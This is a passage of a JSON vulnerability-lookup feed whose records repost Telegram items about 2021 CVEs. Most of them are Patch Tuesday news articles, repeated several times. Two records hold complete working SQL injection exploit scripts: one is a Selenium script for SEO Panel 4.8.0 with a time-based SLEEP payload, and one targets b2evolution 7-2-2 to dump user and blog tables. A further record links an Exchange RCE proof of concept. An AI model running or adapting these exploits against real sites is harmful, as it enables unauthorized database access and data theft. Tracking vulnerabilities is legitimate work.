between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-08T10:00:06.557266Z"}, {"uuid": "8345e3d1-987d-46fb-b638-b797c8d34a59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-08T10:00:06.607215Z"}, {"uuid": "eecbf0ae-c2c7-45d5-a49d-5ec801c6ac62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-08T10:00:06.666381Z"}, {"uuid": "033a6a69-7741-4071-b2b8-ae6f154dd066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/hacking_Attack/4998", "content": "Black Hat Ethical Hacking\nMicrosoft to Patch multiple Zero-Days, 110 vulnerabilities in total\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Microsoft to Patch multiple Zero-Days, 110 vulnerabilities in totalPost Views: 94 \nReading Time: 1 Minute\nMicrosoft had its hands full Tuesday snuffing out five zero-day vulnerabilities, a flaw under active attack and applying more patches to its problem-plagued Microsoft Exchange Server software.\nIn all, Microsoft released patches for 110 security holes, 19 classified critical in severity and 88 considered important. The most dire of those flaws disclosed is arguably a Win32k elevation of privilege vulnerability (CVE-2021-28310) actively being exploited in the wild by the cybercriminal group BITTER APT. Actively Exploited Zero-Day\u201cWe believe this exploit is used in the wild, potentially by several threat actors. It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\u201d wrote Kaspersky in a Tuesday report\u00a0detailing its find.\n\nThe bug is an out-of-bounds write vulnerability in Windows dwmcore.dll library, which is part of Desktop Window Manager (dwm.exe). \u201cDue to the lack of bounds checking, attackers are able to create a situation that allows them to write controlled data at a controlled offset using DirectComposition API,\u201d wrote Kaspersky researchers Boris Larin, Costin Raiu and Brian Bartholomew, co-authors of the report.\nSee Also: Chrome Zero-Day Exploit Posted on Twitter More Bugs Tied to Plagued ExchangeOf note, the U.S. National Security Agency released information on four critical Exchange Server vulnerabilities \u00a0(CVE-2021-28480, CVE-2021-28481, CVE-2021-28482, CVE-2021-28483) impacting versions released between 2013 and 2019.\n\n\u201cThese vulnerabilities have been rated \u2018exploitation more likely\u2019 using Microsoft\u2019s Exploitability Index. Two of the four vulnerabilities (CVE-2021-28480, CVE-2021-28481) are pre-authentication, meaning an attacker does not need to authenticate to the vulnerable Exchange server to exploit the flaw. With the intense interest in Exchange Server since last month, it is crucial that organizations apply these Exchange Server patches immediately,\u201d wrote Satnam Narang, staff research engineer with Tenable in commentary shared with Threatpost.\n\nMicrosoft notes that two of the four Exchange bugs reported by the NSA were also found internally by its own research team.\nSee Also: Offensive Security Tool: CVE Binary Tool by Intel https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/25150114/Bug-Bounty-Code_small-300x198.jpg Bugs, Bugs and More BugsMicrosoft also included patches for its Chromium-based Edge web browser, Azure and Azure DevOps Server, Microsoft Office, SharePoint Server, Hyper-V, Team Foundation Server and Visual Studio.\n\n\u201cApril\u2019s Patch Tuesday yields\u2026 [are] the highest monthly total for 2021 (so far) and showing a return to the 100-plus totals we consistently saw in 2020,\u201d wrote Justin Knapp, senior product marketing manager with Automox, in a prepared analysis shared with Threatpost. \u201cThis month\u2019s haul includes 19 critical vulnerabilities and a high-severity zero-day that is actively being exploited in the wild.\u201d\n\nHe added, \u201cWe\u2019re also seeing multiple browser-related vulnerabilities this month that should be addressed immediately. This represents an overall upward trend that\u2019s expected to continue throughout the year and draw greater urgency around patching velocity, to ensure organizations are not taking on unnecessary exposure \u2014 especially given the increased exploitation of[...]", "creation_timestamp": "2026-09-08T10:00:06.717465Z"}, {"uuid": "ba337f97-890a-4c78-9213-d51efbbf33b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "published-proof-of-concept", "source": "https://t.me/vulns/382", "content": "Microsoft Exchange Server RCE, CVE-2021-28482:\n\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda", "creation_timestamp": "2026-09-08T19:00:06.060799Z"}, {"uuid": "8281533b-cc66-497a-b204-ad4265b224b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28133", "type": "seen", "source": "https://t.me/hacking_Attack/1685", "content": "hacking: security in practice\nZoom Unintended Screen Sharing Vulnerability POC (CVE-2021-28133)\n\nhttps://b.thumbs.redditmedia.com/mKiWB9x9Ha0hek1Dz4G_wHoia65XvdXJplCM7NBrdAw.jpg submitted by /u/Vulmon \n[link] [comments]", "creation_timestamp": "2026-09-08T13:00:04.051984Z"}, {"uuid": "af74bb79-57dd-4178-bb8d-ced5107af810", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8310", "content": "Black Hat Ethical Hacking\nWormable Windows Bug Opens Door to DoS, RCE\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Wormable Windows Bug Opens Door to DoS, RCEPost Views: 89 \nReading Time: 2 Minutes\nMicrosoft\u2019s May 2021 Patch Tuesday updates include fixes for four critical security vulnerabilities, including a\u00a0patch for a concerning wormable vulnerability found in the Windows OS.\nThe good news is that none of the vulnerabilities are being actively exploited in the wild, according to Microsoft, though three are listed as publicly known. The fixes\u00a0address security flaws across Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. Besides the four critical bugs, 50 are rated \u201cimportant\u201d and one is moderate in severity. Critical Microsoft Security Patches for May 2021The critical bugs in this month\u2019s Patch Tuesday release are:\n\n* CVE-2021-31166: A wormable HTTP protocol-stack issue in Windows 10 and some versions of Windows Server allowing remote code-execution (RCE)\n* CVE-2021-26419: A scripting-engine memory corruption vulnerability in Internet Explorer 11 and 9 allowing RCE\n* CVE-2021-31194: An RCE bug in the Microsoft Windows Object Linking and Embedding (OLE) Automation\n* CVE-2021-28476: An RCE vulnerability in Microsoft Windows Hyper-V CVE-2021-31166 \u2013 WormableThis most concerning critical bug for researchers is an HTTP protocol-stack issue that would allow RCE with kernel privileges or a denial-of-service (DoS) attack. The HTTP protocol stack enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).\n\n\u201cIf exploited, this vulnerability could enable an unauthenticated attacker to send a specially crafted packet to a targeted server utilizing the HTTP protocol stack (http.sys) to process packets and ultimately, execute arbitrary code, and take control of the affected system,\u201d Eric Feldman, cybersecurity researcher with Automox, wrote in an analysis.\nSee Also: Lemon Duck Cryptojacking Botnet Changes Up Tactics Worse, Microsoft noted that the bug is wormable, so that it could be used to self-replicate across the internal network and affect internal services that may not have been exposed.\n\n\u201cThe vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated DoS (Blue Screen of Death) for affected products,\u201d Steve Povolny, head of advanced threat research and principle engineer at McAfee, said via email. \u201cWhile this vulnerability has the potential to lead to code execution in the Windows kernel, this type of weaponization is a much higher bar for exploitation. However, if RCE can be achieved, cybercriminals would likely have the capability to create a worm, leading to self-propagation of the vulnerability across networks and the internet.\u201d\n\n\u201cFor ransomware operators, this kind of vulnerability is a prime target for exploitation,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cWormable exploits should always be a high priority, especially if they are for services that are designed to be public facing. As this specific exploit would not require any form of authentication, it\u2019s even more appealing for attackers, and any organization using HTTP.sys protocol stack should prioritize this patch.\u201d\n\nDustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative (ZDI), noted in a blog, \u201cBefore you pass this aside, Windows 10 can also be configured as a web server, so it [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T07:00:05.009928Z"}, {"uuid": "3554b680-3f04-42ed-9cd1-4a77c836edb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8311", "content": "is impacted as well. Definitely put this on the top of your test-and-deploy list.\u201d CVE-2021-26419This second critical bug affecting Microsoft\u2019s legacy browser allows RCE, and offers several avenues of attack, according to researchers.\n\n\u201cIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,\u201d explained Feldman. \u201cAn attacker could also embed an ActiveX control marked \u2018safe for initialization\u2019 in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\u201d\nSee Also: Offensive Security Tool: EyeWitness The best way to counteract this bug is ditching IE, noted Breen.\n\n\u201cInternet Explorer needs to die \u2013 and I\u2019m not the only one that thinks so,\u201d he told Threatpost. \u201cIf you are an organization that has to provide IE11 to support legacy applications, consider enforcing a policy on the users that restricts the domains that can be accessed by IE11 to only those legacy applications. All other web browsing should be performed with a supported browser.\u201d CVE-2021-31194The third critical bug exists in the Microsoft Windows OLE Automation, which in and of itself should place it on the priority-patch list, according to researchers.\n\n\u201cTo exploit the vulnerability, an attacker could host a specially crafted website designed to invoke OLE automation through a web browser,\u201d explained Justin Knapp, Automox researcher. \u201cHowever, this approach requires that the attacker bait a user into visiting the maliciously crafted website.\u201d\n\nHe pointed out that OLE technology has frequently been used to mask malicious code within documents and for linking to external files that infect systems with malware.\n\n\u201cIn 2020, the CISA released an alert detailing the top 10 routinely exploited vulnerabilities, which identified Microsoft\u2019s OLE as the most commonly exploited technology by state-sponsored cyber-actors,\u201d he said. \u201cConsidering the prevalent exploitation of OLE vulnerabilities, including those that had been flagged years ago, organizations should immediately prioritize patching all outstanding OLE vulnerabilities.\u201d See Also: Hacking Stories: Xbox UndergroundCVE-2021-28476The last critical bug is found in Windows Hyper-V, which is a native hypervisor that can create and run virtual machines on x86-64 systems running Windows. It can allow an attacker to execute arbitrary code, Knapp said:\u00a0\u201cTo exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code when it fails to properly validate vSMB packet data. Successful exploitation could enable an attacker to run malicious binaries on Hyper-V virtual machines or execute arbitrary code on the host system itself.\u201d\n\nThat said, Microsoft noted that an attacker is more likely to abuse the bug for DoS attacks in the form of a system crash rather than RCE, Childs pointed out, which mitigates the vulnerability\u2019s CVSS score of 9.9.\n\n\u201cBecause of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5,\u201d he said. \u201cThat still rates as high-severity, but not critical. Still, the bug check [system crash] alone is worth making sure your Hyper-V systems get this update.\u201d Publicly Disclosed VulnerabilitiesChris Goettl, senior director of product management at Ivanti, told Threatpost that the biggest patching priority should be the publicly disclosed bugs \u2013 even though there is as yet no known malicious exploitation.\n\n\u201cThe top concern from the Microsoft updates this month is the update for Microsoft Exchange that[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T07:00:05.225402Z"}, {"uuid": "2c28a8b8-efdf-4094-b56e-67e241cbf7ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/hacking_Attack/8312", "content": "includes the fix for CVE-2021-31207, which made its debut in the 2021 Pwn2Own competition,\u201d he said.\n\nThe bug tracked as CVE-2021-31207 is only rated as \u201cmoderate,\u201d but the \u201csecurity feature-bypass exploit was showcased prominently in the Pwn2Own contest and at some point details of the exploit will be published,\u201d Goettl explained. \u201cAt that point threat actors will be able to take advantage of the vulnerability if they have not already begun attempting to reverse engineer an exploit.\u201d\n\nThere two other publicly disclosed vulnerabilities resolved by Microsoft this month that exist in Common Utilities, found in the NNI open-source toolkit (CVE-2021-31200), and in .NET and Visual Studio (CVE-2021-31204).\n\n\u201cCommon Utilities and .NET and Visual Studio are less likely to be targeted, but due to the public disclosures they should not be ignored for long,\u201d Goettl added. Other Notable Microsoft Security Patches for May 2021As for the other patches in the update that stood out to the research community, ZDI\u2019s Childs highlighted a Windows wireless networking information-disclosure bug, tracked as CVE-2020-24587.\n\n\u201cThe ZDI doesn\u2019t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging,\u201d Childs said. \u201cThis patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It\u2019s not clear what the range on such an attack would be, but you should assume some proximity is needed. You\u2019ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.\u201d Windows Graphics, SharePoint Server PatchesA trio of local privilege escalation flaws \u2013 two in the Windows Graphics Component (CVE-2021-31188, CVE-2021-31170) and one in SharePoint Server (CVE-2021-28474) \u2013 caught Breen\u2019s eye.\n\nAs for the first two, he noted they could be chained with another bug, such as the wormable bug listed above, to become highly dangerous and allow for WannaCry-style attacks.\n\n\u201cThis kind of vulnerability is often used by attackers after they have already gained a foothold through an initial infection vector, like phishing or via another exploit like the RCE in HTTP.sys (CVE-2021-31166),\u201d Breen noted via email. \u201cThe attackers are looking to increase their privileges so they can move laterally across a network or gain access to other accounts that may have access to more sensitive information.\u201d\n\nMeanwhile, the SharePoint bug allows an authenticated attacker to run code on remote SharePoint Servers.\n\n\u201cAs this is post-authentication, it\u2019s likely to be used as part of post-exploitation and lateral movement phases of an attack, rather than the initial-infection vector,\u201d Breen said. \u201cAttackers could gain access to sensitive documents or even replace real documents with weaponized versions, enabling the compromise of more user devices across the organization\u2019s network.\u201d Microsoft Exchange Server PatchesMicrosoft also patched four vulnerabilities in Microsoft Exchange Server. The flaws (CVE-2021-31198, RCE; CVE-2021-31207, spoofing; CVE-2021-31209, security bypass; and CVE-2021-31195, RCE), are all rated important or moderate.\n\n\u201cCVE-2021-31195 is attributed to Orange Tsai of the DEVCORE research team, who was responsible for disclosing the ProxyLogon Exchange Server\u00a0vulnerabilities that [were] patched in an out-of-band release back in March,\u201d Satnam Narang, staff research engineer with Tenable, told Threatpost. \u201cWhile none of these flaws are deemed critical in nature, it is a reminder that researchers and attackers are still looking closely at Exchange Server for additional vulnerabilities, so organizations that have yet to update their systems should do so as soon as possible.\u201d\n\nAnd finally, Ivanti\u2019s Goettl noted that several Microsoft products have reached end-of-life and won\u2019t be getting support going forward.\n\n\u201cThis month marks the final update for several Windows 10 and Server [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T07:00:05.374203Z"}, {"uuid": "6c7798b9-16a8-406e-9dd7-408083b37215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 FROM\n(SELECT(SLEEP(15)))nu11secur1ty)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id=1\"))\n\nprint(\"payload is deployed MySQL is not responding correctly...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n\n---------------------------------\n\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Date: 04.25.2021\n# Exploit Authotr idea: @nu11secur1ty, xoffense\n# Exploit Debugging: nu11secur1ty\n# Vendor Homepage: https://www.seopanel.org/\n# Software Link: https://www.seopanel.org/spdownload/4.8.0\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28419\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T08:00:04.978105Z"}, {"uuid": "8672d986-3bc3-4f1a-986a-5ed93f718e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/7570", "content": "Exploit Collector\nb2evolution 7-2-2 SQL Injection\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png b2evolution version 7-2-2 suffers from a remote SQL injection vulnerability.\n\nMD5 | 1ced09b619490337be3ea86e23221667Download # Exploit Title: b2evolution 7-2-2 obtaining sensitive database information by injecting SQL commands into the \"cf_name\" parameter\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.06.2021\n# Vendor: https://b2evolution.net/\n# Link: https://b2evolution.net/downloads/7-2-2\n# CVE: CVE-2021-28242\n# Proof: https://streamable.com/x51kso\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28242\nfrom selenium import webdriver\nimport time\n# Vendor: https://typo3.org/\nwebsite_link=\"\nhttp://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link\n\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"FvsDq7fmHvWF\"\n\n#enter the element for username input field\nelement_for_username=\"x\"\n\n#enter the element for password input field\nelement_for_password=\"q\"\n\n#enter the element for submit button\nelement_for_submit=\"login_action[login]\"\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit vulnerability MySQL obtain sensitive database information by\ninjecting SQL commands into the \"cf_name\" parameter\ntime.sleep(7)\n# Receaving sensitive info for evo_users\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_blogs\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_section\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\"))\ntime.sleep(7)\nbrowser.close()\nprint(\"At the time, of the exploit, you had to see information about the\ntables...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, your exploit is not working for some reasons...\")\n\n---------------------------------\n\n# Exploit Title: b2evolution 7-2-2 obtaining sensitive database information\nby injecting SQL commands into the \"cf_name\" parameter\n# Date: 05.06.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://b2evolution.net/\n# Software Link: https://b2evolution.net/downloads/7-2-2\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28242\n\n-- \nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at 